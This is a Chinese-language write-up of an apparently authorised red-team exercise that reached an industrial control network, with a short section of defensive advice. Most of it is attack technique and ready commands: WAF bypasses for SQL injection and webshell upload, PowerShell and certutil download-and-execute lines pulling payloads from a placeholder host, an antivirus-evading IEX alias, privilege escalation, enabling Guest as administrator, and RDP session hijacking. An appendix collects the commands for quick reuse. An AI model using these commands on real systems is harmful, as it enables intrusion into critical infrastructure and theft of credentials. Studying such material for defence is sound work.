一次直达工控区的"简单"渗透
字数 1345 2025-08-12 11:33:52
工控系统渗透测试实战教学文档
1. 前期信息收集与目标确认
-
信息收集范围:
- 主目标及其下属单位
- 同一C段内的相关系统
- 通过JS文件分析寻找未授权接口
-
目标确认流程:
- 与裁判/客户沟通确认目标是否在演练范围内
- 验证下属单位系统是否属于攻击范围
2. SQL注入攻击
-
发现注入点:
- 在JS文件中发现的未授权接口
- 接口存在SQL注入漏洞
-
绕过WAF技巧:
- 使用常规SQL注入绕过技术
- 注意观察WAF拦截规则并相应调整payload
-
利用结果:
- 获取管理后台用户名和密码
- 成功登录管理后台
3. 文件上传漏洞利用与WAF绕过
3.1 文件后缀名绕过
-
原始拦截:
- WAF拦截非法后缀名
-
绕过方法:
- 修改Content-Type头部
- 在"boundary="和"----"之间插入Tab键
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundarynyPW4lGbujY0nBEL
3.2 文件内容检测绕过
-
基础测试:
- 发现基础ASP代码
<% response.write("hello world") %>被拦截 - WAF匹配
<% %>标签
- 发现基础ASP代码
-
绕过方法一:垃圾数据填充
- 构造大数据包,将恶意代码隐藏其中
- 利用WAF内存/带宽限制的缺陷
-
绕过方法二:大小写变异
- 测试发现WAF不做大小写判断
- 修改拦截参数的大小写形式,如
Request改为RequesT
-
最终结果:
- 成功上传命令执行小马
- 通过变异所有拦截参数实现bypass
4. 内网横向渗透
4.1 初始立足点
-
环境确认:
- IIS服务器
- 确认出网情况:使用ping测试
-
Cobalt Strike上线:
- 方法一:PowerShell直接上线
powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x'))- 方法二:证书下载
certutil.exe -urlcache -split -f http://x.x.x.x/x.exe D:\x.exe -
权限提升:
- 使用烂土豆(Local Potato)插件提权至SYSTEM
- 激活Guest用户并加入管理员组
net user guest /active:yes net user guest tide@123456 net localgroup administrators guest /add
4.2 横向移动技术
-
RDP劫持:
- 查询当前会话:
query users - 创建服务劫持会话:
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" net start tide - 查询当前会话:
-
信息收集重点:
- 远程连接凭证
- 服务数据库密码
- 内网拓扑结构
-
隧道搭建:
- 使用socks5隧道工具(nps, frp等)
- 维持持久访问
5. 运维区渗透
-
关键发现:
- 运维人员办公PC(Win7系统)
- 内网导航站揭示网络划分结构
- 运维邮箱中的机房密码本文件
-
密码本内容:
- 大量机房服务器密码
- 重要业务系统管理员密码
- SCADA系统凭证
6. 工控生产区渗透
-
网络测试:
- 验证运维机到工控区的连通性
- 测试密码本中密码的有效性
-
最终访问:
- 使用获取的凭证直接登录SCADA服务器
- 进入核心生产内网
7. 关键总结与防御建议
7.1 攻击路径总结
- 外部暴露系统 → SQL注入 → 管理后台 → 文件上传 → 服务器控制
- 内网横向移动 → 运维PC → 密码本获取 → 工控区访问
7.2 防御建议
-
WAF配置:
- 完善大小写敏感检测
- 优化大数据包处理能力
- 增强对变异payload的识别
-
权限管理:
- 最小权限原则
- 定期更换密码
- 避免密码明文存储
-
网络隔离:
- 严格划分办公区与生产区
- 限制运维机到生产区的直接访问
-
安全意识:
- 禁止在邮箱/文件中存储敏感凭证
- 定期进行安全培训
-
监控措施:
- 加强异常登录检测
- 建立完善的日志审计系统
8. 附录:常用命令速查
-
权限相关:
# 激活Guest用户 net user guest /active:yes # 添加管理员 net localgroup administrators guest /add -
RDP劫持:
query users sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" net start tide -
文件下载:
certutil.exe -urlcache -split -f http://x.x.x.x/x.exe D:\x.exe -
PowerShell免杀:
set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('h'+'ttp://x.x.x.x/a')